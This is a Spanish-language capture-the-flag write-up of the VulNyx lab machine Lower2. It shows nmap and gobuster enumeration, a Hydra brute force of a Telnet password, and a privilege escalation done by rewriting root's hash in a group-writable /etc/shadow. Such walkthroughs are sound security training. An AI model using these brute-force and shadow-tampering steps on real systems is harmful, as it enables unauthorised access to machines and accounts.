🔵 NYX - Lower2
#vulnyx
#nyx
#linux
#telnet (bruteforce)
#shadow (group)
#/etc/shadow (writable)
Febrero 16, 2025 by Miguel R. (d4t4s3c)
Information
Lower2 es una máquina Linux de la plataforma VulNyx, tiene un nivel de dificultad bajo y fue creada por el usuario d4t4s3c.
- Acceso inicial: Enumero a un usuario mediante el banner de SSH y posteriormente realizo fuerza bruta al servicio Telnet, se obtiene el password y se accede al sistema con las credenciales obtenidas.
- Escalada de privilegios: El usuario dispone de permisos para escribir el archivo shadow permitiendo convertise en root.
Enumeration
Nmap
TCP
❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.56
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-16 20:26 CET
Nmap scan report for 192.168.1.56
Host is up (0.000097s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
23/tcp open telnet
80/tcp open http
❯ nmap -sVC -p22,23,80 192.168.1.56
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-16 20:26 CET
Nmap scan report for 192.168.1.56
Host is up (0.00056s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
| 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
23/tcp open telnet Netkit telnet-ssl telnetd
80/tcp open http nginx 1.22.1
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.22.1
Shell (b.taylor)
80/TCP (HTTP)
Directory Brute Force
❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.56
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.56
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 220546 / 220547 (100.00%)
===============================================================
Finished
===============================================================
22/TCP (SSH)
Enumero al usuario b.taylor
en el banner del servicio SSH
❯ ssh root@192.168.1.56
###################################################
### Welcome to Brian Taylor's (b.taylor) server ###
###################################################
root@192.168.1.56: Permission denied (publickey).
23/TCP (TELNET)
Password Brute Force
Al disponer de un usuario, trato de obtener su password con Hydra
❯ hydra -l b.taylor -P /opt/techyou.txt telnet://192.168.1.56 -F -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-16 20:35:41
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 16 tasks per 1 server, overall 16 tasks, 10000 login tries (l:1/p:10000), ~625 tries per task
[DATA] attacking telnet://192.168.1.56:23/
[23][telnet] host: 192.168.1.56 login: b.taylor password: rockyou
[STATUS] attack finished for 192.168.1.56 (valid pair found)
Obtengo el password rockyou
del usuario b.taylor
y accedo al sistema con las credenciales obtenidas
❯ telnet 192.168.1.56
Trying 192.168.1.56...
Connected to 192.168.1.56.
Escape character is '^]'.
lower2 login: b.taylor
Password:
Last login: Sun Feb 16 20:35:42 CET 2025 from 192.168.1.10 on pts/10
b.taylor@lower2:~$ id ; hostname
uid=1000(b.taylor) gid=1000(b.taylor) grupos=1000(b.taylor),42(shadow)
lower2
Privilege Escalation
El usuario b.taylor
forma parte del grupo shadow
b.taylor@lower2:~$ id
uid=1000(b.taylor) gid=1000(b.taylor) grupos=1000(b.taylor),42(shadow)
b.taylor@lower2:~$ groups
b.taylor shadow
Los miembros del grupo shadow
tienen permisos de lectura sobre el archivo /etc/shadow
y en este caso además de escritura.
b.taylor@lower2:~$ ls -l /etc/shadow
-rw-rw---- 1 root shadow 749 feb 16 07:10 /etc/shadow
Creo un hash de tipo yescrypt
con el password 123456
❯ mkpasswd --method=yescrypt 123456
$y$j9T$kGeVfWcKlLsKSsfRC7dze/$Dl.ymNlm3J4rP4gv5aPlGjN7LyUaLw9Nb9SsLORnxr9
Agrego el nuevo hash en la linea del usuario root
en el archivo /etc/shadow
b.taylor@lower2:~$ head -n1 /etc/shadow
root:$y$j9T$RDW/7EgA4sElvqxLVk.Uo.$OmF5Lm4Ub/UeC2ua6tTQnHB07WKpYs1lOXl.lS581q8:20134:0:99999:7:::
b.taylor@lower2:~$ nano /etc/shadow
b.taylor@lower2:~$ head -n1 /etc/shadow
root:$y$j9T$kGeVfWcKlLsKSsfRC7dze/$Dl.ymNlm3J4rP4gv5aPlGjN7LyUaLw9Nb9SsLORnxr9:20134:0:99999:7:::
b.taylor@lower2:~$ su - root
Contraseña:
root@lower2:~# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
lower2
Me convierto en usuario root
b.taylor@lower2:~$ su - root
Contraseña:
root@lower2:~# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
lower2
Flags
Ya como usuario root
puedo leer las flags user.txt
y root.txt
root@lower2:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
235aa***************************
edc9f***************************
Hasta aquí la resolución de la máquina Lower2.
Happy Hacking!
